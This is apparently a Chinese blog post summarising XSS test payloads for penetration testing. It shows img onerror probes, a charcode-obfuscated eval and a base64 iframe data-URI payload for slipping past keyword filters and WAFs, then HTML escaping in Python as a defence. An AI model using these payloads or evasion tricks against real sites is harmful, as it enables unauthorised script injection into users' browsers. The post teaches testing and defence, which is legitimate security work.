xss常用Payload总结

本文介绍了常见的XSS攻击payload,包括img注入和iframe注入,展示了如何通过base64编码绕过WAF。同时,提出了防御XSS的有效方法——HTML编码转义,并给出了Python实现示例。了解这些技巧有助于提升Web应用的安全性。
摘要由CSDN通过智能技术生成

xss常用Payload总结

渗透测试时,常遇到页面输入框、留言板等输入交互点,大多是xss漏洞易出现的常见场景之一,记录几种常用的xss注入的姿势

1.img 注入

快速探测是否存在xss

1) <img src='x' onerror='alert(1)'>
2) <img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

2.iframe 注入

后台做了相关过滤,如过滤了script、onerror等关键字,可对payload做base64编码

1) 先对payload进行base64编码,如:echo "<script>alert(22)</script>" | base64
2) 将编码得到的payload放入到 <iframe src="data:text/html;base64,payload></iframe>
3) <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxMjM0KTs8L3NjcmlwdD4NCg=="></iframe>

高级绕waf姿势可参考这篇文章:xss绕waf姿势剖析

防御总结

除了对用户输入的字符做filter,过滤script、onxx等危险字符串,防御xss最有效的方式是对"<"、">"字符进行html编码转义
如输入payload:<script>alert(1)</script>
在python中,对其进行html编码转义:

import html
userInput = "<script>alert(1)</script>"
outPut = html.escape(userInput)
print(outPut)

hmtl编码转义如图,
html编码转义

  • 3
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值